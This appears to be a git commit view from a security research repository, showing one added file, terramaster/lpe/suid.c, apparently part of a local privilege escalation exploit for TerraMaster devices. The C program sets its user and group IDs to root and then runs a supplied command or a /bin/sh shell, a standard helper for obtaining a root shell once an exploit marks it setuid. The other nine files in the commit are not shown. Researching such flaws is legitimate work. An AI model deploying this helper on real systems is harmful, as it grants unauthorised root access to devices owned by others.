This commit is contained in:
stong 2026-05-18 14:55:24 +09:00
parent a82f4368ab
commit 8a0604c676
10 changed files with 1137 additions and 0 deletions

9
terramaster/lpe/suid.c Normal file
View file

@ -0,0 +1,9 @@
#include <unistd.h>
int main(int argc, char **argv) {
setuid(0);
setgid(0);
if (argc > 1)
execvp(argv[1], argv + 1);
else
execl("/bin/sh", "sh", NULL);
}